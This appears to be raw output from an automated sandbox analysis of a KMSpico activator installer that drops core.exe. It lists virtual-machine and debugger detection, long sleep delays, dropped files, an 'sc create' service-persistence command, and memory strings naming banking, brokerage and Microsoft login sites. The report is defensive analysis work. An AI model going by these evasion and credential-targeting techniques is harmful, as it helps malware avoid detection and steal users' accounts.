              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information set: NOOPENFILEERRORBOX

              Malware Analysis System Evasion

              barindex
              Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_VideoController
              Query firmware table information (likely to detect VMs)
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeSystem information queried: FirmwareTableInformationJump to behavior
              Source: C:\Program Files\KMSpico\KMSELDI.exeMemory allocated: 10F0000 memory reserve | memory write watch
              Source: C:\Program Files\KMSpico\KMSELDI.exeMemory allocated: 1AE90000 memory reserve | memory write watch
              Source: C:\Program Files\KMSpico\AutoPico.exeMemory allocated: 1240000 memory reserve | memory write watch
              Source: C:\Program Files\KMSpico\AutoPico.exeMemory allocated: 19850000 memory reserve | memory write watch
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeWindow / User API: threadDelayed 7374Jump to behavior
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 4893
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 1510
              Source: C:\Program Files\KMSpico\UninsHs.exeDecision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)graph_11-805
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-VE3F8.tmp\_isetup\_shfoldr.dllJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Windows\system32\Vestris.ResourceLib.dll (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\is-8DDLC.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Users\user\AppData\Roaming\MyApp\unins000.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\is-E2FDT.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\Vestris.ResourceLib.dll (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\unins000.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-VE3F8.tmp\_isetup\_setup64.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Windows\System32\is-0JVNC.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\is-IGGRK.tmp\_isetup\_setup64.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\is-7EQV1.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Windows\System32\is-5P7A8.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\is-5SAV1.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\DevComponents.DotNetBar2.dll (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Users\user\AppData\Roaming\MyApp\is-R1684.tmpJump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\Service_KMS.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\driver\tap-windows-9.21.0.exe (copy)Jump to dropped file
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpDropped PE file which has not been started: C:\Program Files\KMSpico\driver\is-EH2SR.tmpJump to dropped file
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeEvasive API call chain: GetSystemTime,DecisionNodesgraph_3-5966
              Source: C:\Program Files\KMSpico\UninsHs.exeAPI coverage: 5.3 %
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exe TID: 1012Thread sleep time: -30000s >= -30000sJump to behavior
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exe TID: 2504Thread sleep count: 7374 > 30Jump to behavior
              Source: C:\Windows\System32\svchost.exe TID: 5832Thread sleep time: -30000s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1632Thread sleep count: 4893 > 30
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3472Thread sleep count: 1510 > 30
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4144Thread sleep time: -922337203685477s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5240Thread sleep time: -1844674407370954s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5948Thread sleep time: -30000s >= -30000s
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 612Thread sleep time: -2767011611056431s >= -30000s
              Source: C:\Windows\System32\svchost.exeFile opened: PhysicalDrive0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeWMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeLast function: Thread delayed
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00452A60 FindFirstFileA,GetLastError,6_2_00452A60
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_0047531C FindFirstFileA,FindNextFileA,FindClose,6_2_0047531C
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00464158 SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,6_2_00464158
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004985E4 FindFirstFileA,SetFileAttributesA,FindNextFileA,FindClose,6_2_004985E4
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00462750 FindFirstFileA,FindNextFileA,FindClose,6_2_00462750
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00463CDC SetErrorMode,FindFirstFileA,FindNextFileA,FindClose,SetErrorMode,6_2_00463CDC
              Source: C:\Program Files\KMSpico\UninsHs.exeCode function: 11_2_00401C98 FindFirstFileA,MessageBoxA,RtlZeroMemory,7516D0A0,11_2_00401C98
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeCode function: 3_2_00409B78 GetSystemInfo,VirtualQuery,VirtualProtect,VirtualProtect,VirtualQuery,3_2_00409B78
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
              Source: AutoPico.exe, 00000010.00000002.2870733210.00000000018EC000.00000004.00000800.00020000.00000000.sdmp, AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Data Exchange Service0
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.co.inVMware20,11696428655d
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: global block list test formVMware20,11696428655
              Source: core.exe, 00000004.00000003.2735297326.0000000003347000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: - GDCDYNVMware20,11696428655p
              Source: powershell.exe, 00000017.00000002.2958906152.0000000007494000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllr6t
              Source: core.exe, 00000004.00000003.2821948167.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2771385499.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.3434025265.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2812320188.00000000008CE000.00000004.00000020.00020000.00000000.sdmp, core.exe, 00000004.00000003.2687853972.00000000008C3000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.4007702859.0000023AE265E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000011.00000002.4002425616.0000023ADD02B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000016.00000002.4001866835.0000026DE92CF000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: account.microsoft.com/profileVMware20,11696428655u
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: AMC password management pageVMware20,11696428655
              Source: AutoPico.exe, 00000010.00000002.2870733210.00000000018EC000.00000004.00000800.00020000.00000000.sdmp, AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: !Hyper-V PowerShell Direct Service0
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: tasks.office.comVMware20,11696428655o
              Source: AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicshutdown
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: turbotax.intuit.comVMware20,11696428655t
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: interactivebrokers.comVMware20,11696428655
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
              Source: core.exe, 00000004.00000003.2735297326.0000000003347000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: YNVMware
              Source: AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicvss
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - HKVMware20,11696428655]
              Source: AutoPico.exe, 00000010.00000002.2870733210.00000000018EC000.00000004.00000800.00020000.00000000.sdmp, AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Service Interface0
              Source: AutoPico.exe, 00000010.00000002.2870733210.00000000018EC000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $Hyper-V Volume Shadow Copy Requestor0
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: bankofamerica.comVMware20,11696428655x
              Source: AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Test URL for global passwords blocklistVMware20,11696428655
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655x
              Source: AutoPico.exe, 00000010.00000002.2870733210.00000000018EC000.00000004.00000800.00020000.00000000.sdmp, AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: -Hyper-V Remote Desktop Virtualization Service0
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: discord.comVMware20,11696428655f
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Transaction PasswordVMware20,11696428655}
              Source: AutoPico.exe, 00000010.00000002.2870733210.00000000018EC000.00000004.00000800.00020000.00000000.sdmp, AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Shutdown Service0
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.comVMware20,11696428655}
              Source: svchost.exe, 00000016.00000002.4000948369.0000026DE922B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office365.comVMware20,11696428655t
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: microsoft.visualstudio.comVMware20,11696428655x
              Source: KMSELDI.exe, 0000000F.00000002.4016110699.000000001BD8D000.00000004.00000020.00020000.00000000.sdmp, AutoPico.exe, 00000010.00000002.2869063703.0000000000DE0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Canara Change Transaction PasswordVMware20,11696428655
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: outlook.office.comVMware20,11696428655s
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: ms.portal.azure.comVMware20,11696428655
              Source: KMSpico.tmp, 00000006.00000002.4000113656.00000000006E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
              Source: KMSpico.tmp, 00000006.00000002.4000113656.00000000006E7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\n
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: dev.azure.comVMware20,11696428655j
              Source: AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $Hyper-V Volume Shadow Copy Requestorpl
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: netportal.hdfcbank.comVMware20,11696428655
              Source: AutoPico.exe, 00000010.00000002.2870733210.00000000018EC000.00000004.00000800.00020000.00000000.sdmp, AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: $Hyper-V Time Synchronization Service0
              Source: AutoPico.exe, 00000010.00000002.2870733210.00000000018EC000.00000004.00000800.00020000.00000000.sdmp, AutoPico.exe, 00000010.00000002.2870733210.0000000001928000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Heartbeat Service0
              Source: svchost.exe, 00000016.00000002.4001668010.0000026DE92CB000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: NXTR]A<VMWare
              Source: core.exe, 00000004.00000002.4001096493.000000000088C000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@
              Source: core.exe, 00000004.00000003.2735606681.000000000333A000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: trackpan.utiitsl.comVMware20,11696428655h
              Source: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exeAPI call chain: ExitProcess graph end nodegraph_3-6763
              Source: C:\Program Files\KMSpico\UninsHs.exeAPI call chain: ExitProcess graph end nodegraph_11-727
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess information queried: ProcessInformationJump to behavior
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess queried: DebugPort
              Source: C:\Program Files\KMSpico\AutoPico.exeProcess queried: DebugPort
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00691CD3 LdrLoadDll,4_2_00691CD3
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_004502C0 GetVersion,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,6_2_004502C0
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00690967 mov eax, dword ptr fs:[00000030h]4_2_00690967
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006903A7 mov edx, dword ptr fs:[00000030h]4_2_006903A7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00690D17 mov eax, dword ptr fs:[00000030h]4_2_00690D17
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_006919A5 mov eax, dword ptr fs:[00000030h]4_2_006919A5
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00690FB7 mov eax, dword ptr fs:[00000030h]4_2_00690FB7
              Source: C:\Users\user\AppData\Roaming\MyApp\core.exeCode function: 4_2_00690FB6 mov eax, dword ptr fs:[00000030h]4_2_00690FB6
              Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
              Source: C:\Program Files\KMSpico\KMSELDI.exeMemory allocated: page read and write | page guard
              Source: C:\Users\user\AppData\Local\Temp\is-50J8F.tmp\KMSpico.tmpCode function: 6_2_00478898 ShellExecuteEx,GetLastError,MsgWaitForMultipleObjects,GetExitCodeProcess,CloseHandle,6_2_00478898
              Source: C:\Users\user\AppData\Local\Temp\is-2DSFU.tmp\KMSpico.tmpProcess created: C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe "C:\Users\user\AppData\Roaming\MyApp\data\KMSpico.exe" Jump to behavior
              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\sc.exe sc create "Service KMSELDI" binPath= "C:\Program Files\KMSpico\Service_KMS.exe" type= own error= normal start= auto DisplayName= "Service KMSELDI"Jump to behavior
